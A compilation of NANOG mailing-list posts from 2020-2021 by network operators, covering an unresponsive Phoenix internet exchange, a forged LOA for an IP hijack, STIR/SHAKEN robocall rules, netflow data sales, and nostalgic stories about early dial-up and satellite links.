To: nanog@nanog.org



Hello All!

I've been out of the loop here and but have some updates.

There was a change last spring and I moved on to other projects.  But 
that hasn't worked out for the IX.


I  have regained access to all of the elements, including the email and 
voip.  Let me reach out to each of you offline in the coming days.


I have been able to reach out to a few locals that are willing to help 
get the project back up to where it needs to be.


If I haven;t reached out to you in the next 48 hours or you have 
something urgent, please reach out to me here (my personal email) or via 
the Phoenix-IX Contacts


peer...@phoenix-ix.net

+1 602 688-6414

~Paul Emmons
On 11/16/2020 12:23 PM, Neil Hanlon wrote:
While I agree it is objectively irresponsible to abandon a project 
without passing it to another, I think that possibly in this situation 
we don't know all the details?


2020 has been a difficult year for everyone. Perhaps Paul (and 
whomever else may be responsible for Phoenix-IX) were subject to 
things this year beyond their control which led them to be unable to 
work on the project and unable to transfer it, either.. unfortunate, 
yes.. but not malicious surely.


If Paul _is_ reading these messages.. I think support is the best path 
forward.. If there are things that can be done to assist/take over the 
IX... maybe that would help (as you, Kate, had offered towards the 
beginning of this all). Though of course, the first step is _reaching_ 
them... Maybe this can be turned into a "win" for everyone. So: 
Paul/Phoenix-IX -- let the NANOG community know how they/we can help.


--
Neil

On Mon, Nov 16, 2020 at 2:05 PM Kate Gerry <mailto:kge...@outlook.com>> wrote:


An update on my side, we reached out to PhoenixNAP, one of the
Phoenix-IX's vendors.

PhoenixNAP reached out all of their contacts at Phoenix-IX and
have received no response. They are in as much of the dark as the
rest of us. I feel like I'm on the Ghost ship Phoenix-IX.

What I don't understand, is how somebody could abandon a project
without passing it to another person or entity. This is extremely
irresponsible.

—
Kate


On Nov 12, 2020, at 05:11, Marcus Josephson mailto:mjoseph...@inap.com>> wrote:

I tried to get a link to PHX-IX for months. Never heard back from
them, went with Digital Realty Phoenix
*From:*NANOG mailto:nanog-bounces+mjosephson=inap@nanog.org>>*On Behalf
Of*Kate Gerry
*Sent:*Tuesday, November 10, 2020 11:06 AM
*To:*Matt Hoppes mailto:mattli...@rivervalleyinternet.net>>
*Cc:*nanog@nanog.org <mailto:nanog@nanog.org> list
mailto:nanog@nanog.org>>
*Subject:*Re: Phoenix-IX Contact
Matt,
I am running on a huge assumption here, but I think Phoenix-IX
runs on donated infrastructure. From what I recall, there was
only an NRC to join Phoenix-IX.
And in regards to Walt's suggestion, it looks like HE already
started one with Stellar Technologies. https://48ix.net
<https://48ix.net/> but it is only in a single facility. So until
that IX grows, both in peers and footprint, I'm stuck on Phoenix-IX.
I have wondered what happens if a participant storms the IX. Will
somebody appear? Because attempts to reach their NOC/peering
handles has resulted in a lack of response.
I also wonder how the other Ninja-IX exchanges are running, I
haven't heard anything about them, is there the same lack of
communication? Or do those have a local staff?
—
Kate


On Nov 10, 2020, at 06:15, Matt Hoppes
mailto:mattli...@rivervalleyinternet.net>> wrote:
How is the IX still running?  Surely someone must be paying
colo rent?

On 11/10/20 9:03 AM, Eric Kuhnke wrote:

Always a good time for network operators to consider the
risks of having any one person as a single point of
failure for something kind of important:
https://en.wikipedia.org/wiki/Bus_factor
<https://en.wikipedia.org/wiki/Bus_factor>
Disaster recovery and continuity of business plans should
always include the concept of what if some percentage of
the key team members were to be suddenly unavailable
permanently (the Malaysian airline incident, for example).
On Mon, Nov 9, 2020 at 8:08 PM Kate Gerry
mailto:kge...@outlook.com
<mailto:kge...@outlook.com%20%3cmailto:kge...@outlook.com>>>
wrote:
   Is there anybody else even there? I thought that it
was all Paul's show!
   If I was able to (as in, had access to),

Re: AFRINIC IP Block Thefts -- The Saga Continues

2020-11-18 Thread Paul Nash
Any idea of the outcome?

> On Nov 17, 2020, at 4:54 PM, Valdis Klētnieks  wrote:
> 
> On Tue, 17 Nov 2020 10:02:01 -0800, Jay Hennigan said:
> 
>> In the old days on the NANAE newsgroup, such bogus threats of legal
>> action were categorized as one calling their "cartooney". People who
>> huff and puff and threaten to sue rarely do so. If someone actually
>> plans on suing you, your first hint is typically a knock on the door by
>> a process server, not repeated threats in an online forum.
> 
> Right.  The thing is that unless you're party to the lawsuit, you don't
> know if a process server has been involved.
> 
> Somebody else replied by private email and pointed where the AfriNIC
> CEO wrote that they had, in fact, actually been sued.   So whatever one
> might think of Elad Cohen, he's apparently not a cartooney.



Re: AT&T - INET Data Caps

2020-11-30 Thread Paul Emmons
Yes this is common business practice for almost all of the MSOs.

On Mon, Nov 30, 2020 at 9:45 AM Thomas Yarger 
wrote:

> Hello All,
>
> This past week when I was helping my father perform some home networking,
> I called AT&T to get a newer Arris router and they mentioned that if I were
> to upgrade his service, he would fall under a 1 TB data cap for home
> internet. Is this just in FL or have others seen similar restrictions with
> AT&T? Thanks!
>
> --
> Thanks,
>
> Thomas Yarger
>
>


Re: Global Peer Exchange

2020-11-30 Thread Paul Emmons
> You take down a 10g connection and they bill each side $.2 a meg, 95th
> percintile billing.  VLAN between the two sites. Both sites have to have a
> different AS number.  So if you want to move 1g of data, 95th percentile,
> between 2 datacenters I guess it has some utility at $400 a gig effective
> pricing.   I can't beleive it is a great money maker for them. Oh and it's
> Cogent and they say they can't give you above 1500 mtu.

~P


Re: Parler

2021-01-12 Thread Paul Timmins
"You have to let your customer's services contain death threats against 
the owner of your company or we'll blacklist you" is the wildest take of 
2021 yet.


Blocking Amazon because of who they allow to remain a customer is 
something I wholeheartedly encourage my competitors to do.


On 1/12/21 9:29 AM, Kevin McCormick wrote:


Imagine if Tier 1 ISPs had a censorship free clause that required 
companies like Twitter, Facebook, and Amazon to provide services free 
of censorship or have IP blocks blackholed. They would lose hundreds 
of millions of dollars per day. I bet they would reverse their tone in 
a hurry.


https://www.seattletimes.com/seattle-news/idaho-internet-provider-to-block-facebook-twitter-over-their-trump-bans/

Thank you,

Kevin McCormick

*From:*NANOG  *On Behalf 
Of *mark seery

*Sent:* Sunday, January 10, 2021 8:06 PM
*To:* K. Scott Helms 
*Cc:* NANOG Operators' Group 
*Subject:* Re: Parler

I assume multiple networks/ ISPs that have acceptable use policies 
that call out criminality and incitement to violence, for example:


https://www.xfinity.com/support/articles/comcast-acceptable-use-policy

Have these AUPs been invoked previously for these reasons, or would 
that be new territory?


Sent from Mobile Device



On Jan 10, 2021, at 2:52 PM, K. Scott Helms
mailto:kscott.he...@gmail.com>> wrote:



Right, it's not a list for content hosting.

Scott Helms

On Sun, Jan 10, 2021, 5:42 PM mailto:sro...@ronan-online.com>> wrote:

No, this is a list for Network Operators.

Sent from my iPhone



On Jan 10, 2021, at 5:32 PM, K. Scott Helms
mailto:kscott.he...@gmail.com>>
wrote:



This is a list for pushing bits.  The fact that many/most
of us have other businesses doesn't make this an
appropriate forum for SIP issues (to use my own work as an
example).

On Sun, Jan 10, 2021, 4:52 PM mailto:sro...@ronan-online.com>> wrote:

This is a list for Network Operators, AWS certainly
operates networks.

Sent from my iPhone



On Jan 10, 2021, at 4:27 PM, K. Scott Helms
mailto:kscott.he...@gmail.com>> wrote:



No,

It really does not.  Section 230 only applies to
publishers, and not to network providers.  If this
were a cloud hosting provider list then you'd be
correct, but as a network provider's list it does
not belong here.


Scott Helms

On Sun, Jan 10, 2021 at 3:21 PM Lady Benjamin PD
Cannon mailto:b...@6by7.net>> wrote:

As network operations and
compute/cloud/hosting operations continue to
coalesce, I very much disagree with you. 
Section 230 is absolutely relevant, this
discussion is timely and relevant, and it
directly affects me as both a telecom and
cloud compute/services provider.

—L.B.

Lady Benjamin PD Cannon, ASCE

6x7 Networks & 6x7 Telecom, LLC

CEO

b...@6by7.net 

"The only fully end-to-end encrypted global
telecommunications company in the world.”

FCC License KJ6FJJ









On Jan 10, 2021, at 12:13 PM, K. Scott
Helms mailto:kscott.he...@gmail.com>> wrote:

It's not, and frankly it's disappointing
to see people pushing an agenda here.


Scott Helms


On Sun, Jan 10, 2021 at 9:37 AM
mailto:sro...@ronan-online.com>> wrote:


NANOG is a group of Operators,
discussion does not have to be about
networking. I have already explained
how this represents a significant
issue for Network Operators.

On Jan 10, 2021, at 9:09 AM, Mike
Bolitho mailto:mikeboli...@gmail.com>> wrote:


It has nothing to do with networking.
Their decision was necessarily
political. If you can specifically
bring up an issue, beyond speculative,
on how their ne

Re: Alexandria Ocasio-Cortez' Office is on NANOG?? Or, what is the policy about sharing email offlist?

2021-01-18 Thread Paul Timmins

The list has public archives. Draw your own conclusions on the policy.

https://mailman.nanog.org/pipermail/nanog/

On 1/18/21 2:40 PM, Anne P. Mitchell, Esq. wrote:
Not under that impression at all. That's very different from "what is 
the policy" - at least in the groups I run, if the policy is "no 
sharing offlist" and then someone does, there are consequences for 
that someone.

Anne

--
Anne P. Mitchell,  Attorney at Law
Dean of Cyberlaw & Cybersecurity, Lincoln Law School
Author: Section 6 of the CAN-SPAM Act of 2003 (the Federal anti-spam law)
Board of Directors, Denver Internet Exchange
Chair Emeritus, Asilomar Microcomputer Workshop
Former Counsel: Mail Abuse Prevention System (MAPS)



Re: Famous operational issues

2021-02-16 Thread Paul Ebersman
jlewis> This reminds me of one of the Sprint CO's we were colo'd in.

Ah, Sprint. Nothing like using your railroad to run phone lines...
Our routers in San Jose colo were black from the soot of the trains.

Fondly remember a major Sprint outage in the early 90s. All our data
circuits in the southeast went down at once and there were major voice
outages in the entire southeast.

Turns out a storm caused a mudslide which in turn derailed a train
carrying toxic waste, resulting in a wave of 6-10' of toxic mud taking
out the Spring voice pop for the whole southeast, because it was
conveniently located right on said railroad tracks.

We were a big enough customer that PLSC in Atlanta gave us the real
story when we asked for an ETA on repair. They couldn't give us one
immediately until the HAZMAT crew let them in. Turned out to be a total
loss of all gear.

They yanked every tech east of the Misssissippi and a 7ESS was Fedex
overnighted (stolen from some customer in the middle east?) and they had
to rebuild everything.

Was down less than 10 days. Good times.


Re: Famous operational issues

2021-02-18 Thread Paul Ebersman
warren> 2: A somewhat similar thing would happen with the Ascend TNT
warren> Max, which had side-to-side airflow. These were dial termination
warren> boxes, and so people would install racks and racks of them. The
warren> first one would draw in cool air on the left, heat it up and
warren> ship it out the right. The next one over would draw in warm air
warren> on the left, heat it up further, and ship it out the
warren> right... Somewhere there is a fairly famous photo of a rack of
warren> TNT Maxes, with the final one literally on fire, and still
warren> passing packets.

The Ascend MAX (TNT was the T3 version, max took 2 T1s) was originally
an ISDN device. We got the first v.34 rockwell modem version for
testing. An individual card had 4 daughter boards. They were burned in
for 24 hours at Ascend, then shipped to us. We were doing stress testing
in Fairfax VA. Turns out that the boards started to overheat at about 30
hours and caught fire a few hours after that... Completely melted the
daughterboards. They did fix that issue and upped the burnin test period
to 48 hours.

And yeah, they vented side to side. They were designed for enclosed
racks where are flow was forced up. We were colocating at telco POPs so
we had to use center mount open relay racks. The air flow was as you
describe. Good time. Had by all...

Both we (UUNET, for MSN and Earthlink) and AOL were using these for
dialup access. 80k ports before we switched to the TNTs, 3+ million
ports on TNTs by the time I stopped paying attention.


Re: an IP hijacking attempt

2021-03-09 Thread Paul Emmons

RPKI can be very useful to mitigate an attempt.

I used to process IP LOAs all the time.  I never saw a RR attached but 
usually we did a check against the RIR just to make sure (because we 
made access-list per interface as well)


On 3/9/2021 1:42 PM, Mel Beckman wrote:
Not everyone uses RRs, and there is also the possibility that their 
upstream would register it. Having an RR doesn’t seem definitive 
either way. I can see reasons to wait on the RR until  ready to 
receive traffic.


-mel via cell


On Mar 9, 2021, at 11:14 AM, Brian Turnbow  wrote:


If they had a route record that was close, I Would give them the 
benefit of doubt.
They do not however as the only records start with 217. And our IPs 
are 45.


So It Is very strange. Would you send a LOA without a route record?

Brian Turnbow

*Da:* Mel Beckman 
*Inviato:* martedì 9 marzo 2021 19:17
*A:* Brian Turnbow
*Cc:* North American Network Operators' Group
*Oggetto:* Re: an IP hijacking attempt

It could just be a typo on the LOA. It seems unlikely any ISP would 
approve a forged LOA that could readily be debunked by contacting the 
IP space owner. The whole point of LOA’s is to facilitate this 
verification.


-mel via cell

> On Mar 9, 2021, at 10:01 AM, Brian Turnbow via NANOG 
 wrote:

>
> Hello everyone,
>
> We received a strange request that I wanted to share.
> An email was sent to us asking to confirm a LOA from a diligent ISP.
> The Loa was a request to open bgp for an AS , that is not ours, to 
announce a /23 prefix that is ours.
> So basically this entity sent to their upstream a request to 
announce a prefix from one our allocated ranges.
> We have the allocation correctly registered and ROAs in place , but 
it is worrisome that someone would attempt this.
> Obviously we have informed the ISP that the LOA is not valid and 
are trying to contact the originating party.
> Aside from RIRs for the offending AS and our IPs,  Is there 
anywhere to report this type of activity?
> We have dealt with hijacking technically speaking in the past but 
this is the first time, to my knowledge, of someone forging a LOA 
with our IPs.

>
> Thanks in advance for any advice
>
> Brian
>
> P.S. a big thanks to Chris for checking the boxes before activating 
the filter if you are on the list!

>
>
>
>


Re: SITR/SHAKEN implementation in effect today (June 30 2021)

2021-06-30 Thread Paul Timmins



On 6/30/21 2:56 PM, Michael Thomas wrote:
Just because you can know (fsvo "know") that a call is allowed to 
assert a number doesn't change anything unless other actions are 
taken. With DKIM which is far simpler than STIR it would require 
reputation systems that don't seem to have been deployed, submission 
auth which thankfully was deployed, policy enforcement (ie ADSP) which 
is not deployed, and user indicators which are sporadically deployed.


In any indication, the carrier closest to the originator is signing the 
call metadata with their digital certificate. While this won't mean much 
to the active user, for those tracking down robocalls, this is the holy 
grail - finding the carrier who is letting the calls into the network 
and being able to reach out to them to stop the abusive/illegal traffic.


That it might say we've taken the time to verify the end user is who 
they say they are is just icing on the cake. The goal is to make the 
calls accountable to someone, which despite the patchwork of systems in 
the US that might prevent the signature from coming through, can help a 
lot since the biggest wholesalers have implemented it (Inteliquent and 
Lumen among many others)


The other big deal is that now all carriers are actually expected to 
police their network for spoofed callers who are exhibiting robocalling 
behavior. This is a big deal! For the first time, carriers are going to 
be held responsible for proactively finding the abuse, and showing what 
their plans are to do such a thing, and sharing information with each 
other (via the FCC) who can be contacted to chase down robocall traffic 
if another carrier sees it.


Given the giant security holes caused by solving the wrong problem (ie 
trying to authenticate the e.164 address rather than the originating 
domain) it's just going to push spammers to exploit those holes. It's 
very much to be seen whether victory can be declared, IMO.


Fortunately, positive identification of the caller isn't the intent. 
Preventing people from pretending to be the IRS is the intent.


-Paul



Re: SITR/SHAKEN implementation in effect today (June 30 2021)

2021-07-01 Thread Paul Timmins


On 7/1/21 3:53 PM, Keith Medcalf wrote:

And this is why this problem will not be solved.  The "open relay" is making money from processing 
the calls, and the end carrier is making money for terminating them.  Until fine(s) -- hopefully millions of 
them, one for each improperly terminated call, together with jail time for the CEO of the company for 
"conspiracy to commit fraud" --  and EACH of the fines is EQUAL OR GREATER than the total yearly 
worldwide REVENUE of that end carrier, they will not have any impetus to "fix" the problem.


How about 47 CFR 64.1200(k)(4)?

(4) A provider may block voice calls or cease to accept traffic from an 
originating or intermediate provider 
 
without liability under the Communications Act or the Commission's rules 
where the originating or intermediate provider 
, 
when notified by the Commission, fails to effectively mitigate illegal 
traffic within 48 hours or fails to implement effective measures to 
prevent new and renewing customers 
 
from using its network to originate illegal calls. Prior to initiating 
blocking, the provider shall provide the Commission with notice and a 
brief summary of the basis for its determination that the originating or 
intermediate provider 
 
meets one or more of these two conditions for blocking.


ie: "You're not really a phone company anymore, says the rest of the PSTN"

https://www.law.cornell.edu/cfr/text/47/64.1200



Re: SITR/SHAKEN implementation in effect today (June 30 2021)

2021-07-02 Thread Paul Timmins
Fun part is that just because it's a telnyx number with a checkmark, it 
doesn't mean the call came from Telnyx, just that the call came from a 
carrier that gave the call attestation A. As the carrier, we can see who 
signed the call (it's an x509 certificate, signed by the STI-PA, with 
the carrier's name and OCN in it) and hold them accountable for the 
traffic, which is huge.


But that's where the confusion will lie - a customer might say well this 
is a verizon wireless number, i'll yell at them! But the actual call 
came in through Lumen, and they're the ones who can stop it. A carrier 
can see the cert, but you can just get the verstat flag from the 
P-Asserted-Identity field in the call to the handset and see that it 
passed the tests for attestation A.


Just because you don't see a checkmark doesn't mean signatures aren't 
happening. Attestation B and C aren't displayed on the handset (but are 
seen in the carrier's systems) and most androids don't have a way to 
display stir/shaken stuff yet. T-Mobile doesn't send the verstat header 
to handsets they don't verify as s/s compliant (usually only ones they 
sell). My trick was to sim swap into an iphone for a day, then back to 
my android which started displaying the verification after that.


It's all new, but just because you don't see it doesn't mean it's not 
there. Report the calls to your carrier, they have new tools to track 
down the misbehavior.


On 7/2/21 8:32 AM, Nick Olsen wrote:
Not all have implemented it yet. But if you haven't. You were supposed 
to implement some kind of robo calling mitigation plan (Or atleast 
certify that you have one). At $dayjob we're fully deployed (inbound 
and outbound).


I received my first ever STIR/SHAKEN signed (iPhone Check mark, highly 
scientific) spam call on my personal Cell phone on 6/30. It was a 
Telnyx number. Had the call terminated to $dayjob network. I fully 
would have collected all various information and ticketed it with Telnyx.


Time will tell how truly effective this is. But we have better 
originating information now (breadcrumbs) to follow back to the source.


On Thu, Jul 1, 2021 at 5:42 PM Andreas Ott > wrote:




On Thu, Jul 1, 2021 at 12:56 PM Keith Medcalf mailto:kmedc...@dessus.com>> wrote:

... and the end carrier is making money for terminating them. 



Survey (of n=1) says: nothing has changed, aka the new technology
is not working. I just received the same kind of recorded message
call of "something something renew auto warranty" on my AT&T
u-Verse line. This time when I called back the displayed caller ID
number it was ring-no-answer, versus the previous "you have
reached a number that is no longer in service". By terminating the
call the carrier made probably more money than it would cost them
to enforce the new rules.

Other than the donotcall.gov  portal, is
there a new way to report the obvious failure of STIR/SHAKEN?

-andreas



Re: netflow in the core used for surveillance

2021-08-25 Thread Paul Ebersman
randy> 
https://www.vice.com/en/article/jg84yy/data-brokers-netflow-data-team-cymru

randy> at&t, comcast, ... zayo, please tell us you do not do this.


aaron> You know they do.

No, you don't know that.

The above all certainly collect this info. Not all sell it to anyone who
asks.


Re: akamai yesterday - what in the world was that

2020-01-23 Thread Paul Nash
> I find it both happy and disturbing.  I remember the first 2.4/2.5g links I 
> turned up as well as the first 10g and (eventually) the first 100g links.
> 
> I was leaving the house earlier this week thinking about how it used to be 
> Mbps of traffic that was a lot and now it’s Gbps and how that’s shifted to 
> Tbps.
> 
> While it makes me feel old, it’s also something that I marvel about 
> periodically.

A bit of perspective on bandwidth and feeling old.  The first non-academic 
connection from Africa (Usenet and Email, pre-Internet) ran at about 9600 bps 
over a Telebit Trailblazer in my living room.

The first non-academic IP connection was a satellite connection (64Kbps IIRC, 
not in my living room :-)).

Now we have a bajillion Gbps over submarine fibre landing pretty much 
everywhere, and my guess is that it is not enough bandwidth.

All this to bring such vital resources as Facebook and Netflix :-)

paul

Re: akamai yesterday - what in the world was that

2020-01-24 Thread Paul Ebersman
bzs> When we, The World, first began allowing the general public onto
bzs> the internet in October 1989 we actually had a (mildly shared*) T1
bzs> (1.544mbps) UUNET link. So not so bad for the time. Dial-up
bzs> customers shared a handful of 2400bps modems, we still have them.

The World was also our (UUNET) Boston hub. And at that time,
cross-country core backbone links were T1. We all thought the NSF T3
backbone was a government boon-doggle. :)


Re: akamai yesterday - what in the world was that

2020-01-25 Thread Paul Nash
> So, I grew up in South Africa, and one of the more fascinating /
> cooler things I saw was a modem which would get you ~50bps (bps, not
> Kbps) over a single strand of barbed wire -- you'd hammer a largish
> nail into the ground, and clip one alligator[0] clip onto that, and
> another alligator clip onto the barbed wire. Repeat the process on the
> other side (up to ~5km away), plug the modems in, and bits would
> flow... I only saw these used a few times, but always thought they
> were cool….

Do you remember anything about the actual type of modem?  Or where you deployed 
them?

In the days before the Internet came to SA, I ran a dial-up email link between 
the US and Pretoria, polled by various people locally (including CSIR, SAIMR).  
I also carried mail for the UNHCR in Northern Mozambique.  Mail came via Karl 
Deninger (DDSW1) in Chicago, IIRC.

They were missing several kilometres of phone wire, so connected the link to 
the fence on each side of the road.  We get about 1200bps on a good day IIRC, 
and would loose carrier whenever someone moved cattle from one field to another 
and opened a gate in the fence.

paul

Re: Reminiscing our first internet connections (WAS) Re: akamai yesterday - what in the world was that

2020-01-25 Thread Paul Ebersman
kauer> When *I* were a lad we had to touch the wires with our tongues to
kauer> tell one from zero, no job for a sissy lemme tell you.

Wires? You had wires? We had to cut out our own intestines, braid them
into strands and dip them in salt water to make them conductive.

Our bosses would feed us a cup of sulphuric acid, work us in 29 hour
shifts, then kill us, and dance over our graves, singing Hallelujah.

kauer> You tell that to young folk these days and they don't believe
kauer> you...

Nope, Nope.

Damn millenials... Killing the internet...


Re: akamai yesterday - what in the world was that

2020-01-27 Thread Paul Ebersman
first internet for me was a 300 baud modem from offsite to someplace
buried in the pentagon that I think aggregated all of us into a single
56k upstream.

at 300 baud, you could actually read faster than the screen scrolled. we
started getting 1200 baud, then 2400 baud but the USAF wouldn't let you
upgrade just to get "faster", only to replace broken gear... so a large
number of 1200 baud modems somehow dropped accidentally on the
floor. 10-15 times in some cases.

first personal connection was a dedicated dialin using a telebit
trailblazer at 9600 bps. that was a benefit of work.


Re: akamai yesterday - what in the world was that

2020-01-27 Thread Paul Nash
> first personal connection was a dedicated dialin using a telebit
> trailblazer at 9600 bps. that was a benefit of work.

The Telebits were awesome over impaired lines.  Their funky modulation scheme 
let them get through where nothing else would (like using barbed wire fences 
instead of phone wire).

I used them to link up the UNHCR in Northern Mozambique.  Only problems were 
when someone opened a gate in the fence to move cattle — no carried until they 
closed it again.

    paul

Re: Reminiscing our first internet connections (WAS) Re: akamai yesterday - what in the world was that

2020-01-28 Thread Paul Ebersman
wsimpson> When we first designed PPP in the late '80s to replace SLIP
wsimpson> and SLFP, it was expected to run at 300 bps and scale up, so
wsimpson> the timeouts reflected that.  When I designed PPP over ISDN,
wsimpson> added language to allow faster retransmission.

SLIP and PPP were quite... robust. Some UCB folks managed to get SLIP
over tin can and string. Two acoustic coupler 150b modems, 2 8oz V8 cans
and waxed cotton thread.

wsimpson> Like many of you, I started an ISP in 1994 with a 56 kbps
wsimpson> uplink, and only 6 local customers  The routers were in a
wsimpson> bathroom over the garage.

Our first CA hub was in the janitor's closet at a now defunct computer
company. We initially had problems with the janitors unplugging the
router on weekends to plug in their floor buffers.

Ah, the good old days.




Re: Reminiscing our first internet connections (WAS) Re: akamai yesterday - what in the world was that

2020-01-28 Thread Paul Nash
Carrying on with the “first Internet connection” thread:

I forget how I found out about Usenet and UUCP email (lost in the mosts of 
time).  I ran a store and forward dial-up link from South Africa to DDSW1 in 
Chicago (Hi Karl!  Thanks!).  I cobbled together a package with a DOS-based 
mail reader and a DOS port of UUCP that several people used to get their email 
(including a local medical research establishment and the local veterinary 
college).  Demand grew, along with a request to relay email to the UNHCR in 
Northen Mozambique, so I scraped some money together to import a horribly 
expensive Telebit modem.  I ended up being the regional non-academic email hub 
for Southern Africa.

Just prior to the 1994 election, I got together with a two friends (Alan Barret 
and Chris Pinkham) and founded the first ISP in sub-Saharan Africa.  We managed 
to get a 64k satellite link at a very good price (the satellite folk were busy 
being retrenched and we were prepared to sign a contract specifically requiring 
satellite service for 5 years, which gave them some job security).  We borrowed 
a Cisco router from DiData (Cisco agents), skirted other telco regulations to 
link regions.

One of our early customers was a group of students who wanted to start a small 
dial ISP nearby.  We gave them service, bootstrapping what became our biggest 
competitor, Internet Solutions (now part of DiData, who never did ask for their 
router back).  Our little ISP grew and grew, and eventually merged with our 
biggest client, was sold, sold again, and so on.  Last time I looked, it had 
become Verizon Africa.

paul

> On Jan 28, 2020, at 6:40 PM, Forrest Christian (List Account) 
>  wrote:
> 
> So to add my two stories:
> 
> I provided the Idea and a whole bunch of time/labor/etc to start a dialup ISP 
> in our hometown back in 1994.   I remember having a big debate on whether to 
> bring in a single 56K leased line or 128K fractional T1.  We went with the 
> Fractional T1 just because it could be easily expanded over time.   (That T1 
> is now multiple 10GB circuits - yes the ISP is still running and I still am 
> involved).   So a single 128K fractional T1, a cisco 2501 (with external DSU, 
> those internal cards didn't exist yet), and 8 14.4 modems attached to a 
> single Sun Unix box.  Note that this was pre-web, and back in the days where 
> you pretty much knew at least generally everything which was on the internet.
> 
> Things grew quickly, don't remember how many lines.   At some point we moved 
> to having 56K modems on our end, which required a digital carrier to the 
> central office.   T1's were very expensive, so we did a bit of tariff 
> arbitrage.   One could obtain a 'metered' ISDN BRI line for like next to 
> nothing - the metering had to do with the fact they were going to charge you 
> by the minute for any calls, but here's the catch:  for outgoing calls only, 
> incoming calls were free which worked great for a dialup ISP.The problem 
> was that 56K dialin concentrators all wanted T1 lines.What we discovered 
> is that Adtran made a box which would take a whole bunch of ISDN BRI (each 
> with 2 channels), and combine them into a single T1.   And due to the retail 
> pricing difference for T1 vs BRI, we could pay for the box in a few months.   
>  So we took a whole truckload of ISDN BRI lines and combined them into a few 
> channelized T1's and ended up paying a lot less to the phone company.
> 
> Of course, things have grown past that (we have an extensive WISP network and 
> have an ever-growing amount of fiber in the ground).  But it's fun to think 
> about where we started.
> 
> On Mon, Jan 27, 2020 at 1:00 PM  wrote:
> 
> On January 27, 2020 at 22:57 ma...@isc.org (Mark Andrews) wrote:
>  > The hardware support was 2B+D but you could definitely just use a single 
> B.   56k vs 64k depended on where you where is the world and which style of 
> ISDN the telco offered. 
> 
> FWIW bulk dial-up lines were often brought in as PRIs which were 24
> ISDN 2B+D lines on basically a T1 (1.544mbps) and then you could break
> those out to serial lines.
> 
> The sort of cool thing was that you could get caller information on
> those even if the caller thought they blocked it with *69 or whatever
> it was and log it. I forget the acronym...no no, that's the usual
> caller-id this was...u, DNI? Something like that.
> 
> I won a court case with that data.
> 
> -- 
> -Barry Shein
> 
> Software Tool & Die| b...@theworld.com | 
> http://www.TheWorld.com
> Purveyors to the Trade | Voice: +1 617-STD-WRLD   | 800-THE-WRLD
> The World: Since 1989  | A Public Information Utility | *oo*
> 
> 
> -- 
> - Forrest



Re: [EXTERNAL] Re: Reminiscing our first internet connections (WAS) Re: akamai yesterday - what in the world was that

2020-02-17 Thread Paul Ebersman
gleduc> I remember that TI luggable - that sucker weighed a ton!

U of I used those in the libraries. I remember looking up books for
inter-library/lincoln trail and handing the printout to
students. Problem was that clay or whatever it was that made the paper
worked didn't last for more than a month or two before it faded to
illegible, as many grad students found out...


Re: QUIC traffic throttled on AT&T residential

2020-02-26 Thread Paul Timmins
It's okay though, because we freed up UDP/53 by moving DNS to TCP/443, 
so then we can move HTTPS to UDP/53.


On 2/21/20 6:37 PM, Owen DeLong wrote:

First we moved the entire internet to TCP/443.

Now we propose moving it all to UDP/53.

What’s next? Why not simply eliminate port numbers altogether in favor 
of a single 16-bit client-side unique session identifier.


Owen

On Feb 21, 2020, at 15:20 , Matthew Petach > wrote:




On Fri, Feb 21, 2020, 13:31 Łukasz Bromirski > wrote:



[...]

Now… once we are aware, the only question is — where we go from here?

—
./



Well, it's clear the UDP 443 experiment wasn't entirely successful.

So clearly, it's time to use the one UDP port that is allowed through 
at the top of everyone's ACL rules, and update QUIC in the next 
iteration to use UDP/53.


*THAT* should solve the whole problem, once and for all.

;)

Matt





Re: COVID-19 vs. our Networks

2020-03-15 Thread Paul Nash
> … as soon as they enter the Province
> from outside Canada they are "requested" to self-isolate for 14-days.
> This is for citizens.  Don't know what the policy is for non-Canadians.

Maybe not so much in practice.  I landed at Pearson late last night, returning 
from South Africa via Amsterdam.  Other than the standard passport checks, no 
sign of any screening.  Yay Doug Ford and his merry men.

I’m in self-quarantine for the next 14 days, working from home, in case of any 
symptoms.  I obviously hope the there are none, and that I can go back to visit 
clients, but I feel that that would be a really stupid thing to do right now.

In the meantime, schools are shut down, and I have two children back home from 
university.

paul


> 
>> (Fortunately, I'm in a position to hide in my apartment and only
> emerge
>> for grocery shopping at 2AM until things wind down... Hope everybody
> else
>> has a good contingency plan)
> 
> Yeah, sounds like a plan.
> 
> -- 
> The fact that there's a Highway to Hell but only a Stairway to Heaven
> says a lot about anticipated traffic volume.
> 
> 
> 



Re: DHS letters for fuel and facility access

2020-03-17 Thread Paul Nash
That same fuel shortage killed all Internet traffic to sub-Saharan Africa.  
Took us a while to figure out what was wrong with the satellite link to the US.

paul

> On Mar 16, 2020, at 5:12 PM, Ben Cannon  wrote:
> 
> We (Verizon not me) lost a central office during 9/11 because it ran out of 
> fuel - the tankers were staged but we’re not allowed to enter Manhattan.  
> 
> This clears that pathway for us now, and it’s fairly standard protocol since.
> 
> -Ben
> 
>> On Mar 16, 2020, at 1:20 PM, Sean Donelan  wrote:
>> 
>> 
>> On some other mailing lists, FCC licensed operators are reporting they have 
>> received letters from the Department of Homeland Security authorizing 
>> "access" and "fuel" priority.
>> 
>> Occasionally, DHS issues these letters after natural disasters such as 
>> hurricanes for hospitals and critical facilities.  I haven't heard of them 
>> issued for pandemics.
>> 



Re: DHS letters for fuel and facility access

2020-03-17 Thread Paul Nash
September 2001.  Just after the 9/11 attacks, all of lower Manhattan was shut 
down.  Out link (IIRC) was to a satellite farm on Staten island, across the bay 
to 60 Hudson.  Power went off, diesels kicked in, fuel trucks was not allowed 
in, and a few days later we lost all international connectivity.

Lots of important people lost power as well, so the feds decided to let the 
diesel tankers in after a few days’ deliberations.

paul

> On Mar 17, 2020, at 11:21 AM, Mark Tinka  wrote:
> 
> 
> 
> On 17/Mar/20 17:15, Paul Nash wrote:
> 
>> That same fuel shortage killed all Internet traffic to sub-Saharan Africa.  
>> Took us a while to figure out what was wrong with the satellite link to the 
>> US.
> 
> What year was that :-)?
> 
> Mark.



Re: DHS letters for fuel and facility access

2020-03-18 Thread Paul Nash
You just have to make sure that you test the right thing.

In a former life I was an electrical engineer. My first job was with a 
consulting engineering firm; out biggest customer was the biggest supermarket 
chain in South Africa.  One of my tasks was to travel to one of their stores 
each Saturday after closing (those were the days when they closed at noon on a 
Saturday until Monday morning) and test their stand generators.

The manager’s idea was usually to press the start button, check that the big 
diesel started, then shut down and go home.  My idea was to pull the main 
incoming breaker.  9 times out of 10 on first visit, the diesel would start, 
and then die as soon as the load kicked in because of carbon buildup in the 
cylinders.

After discussions with the supermarket management, they decided to (a) have all 
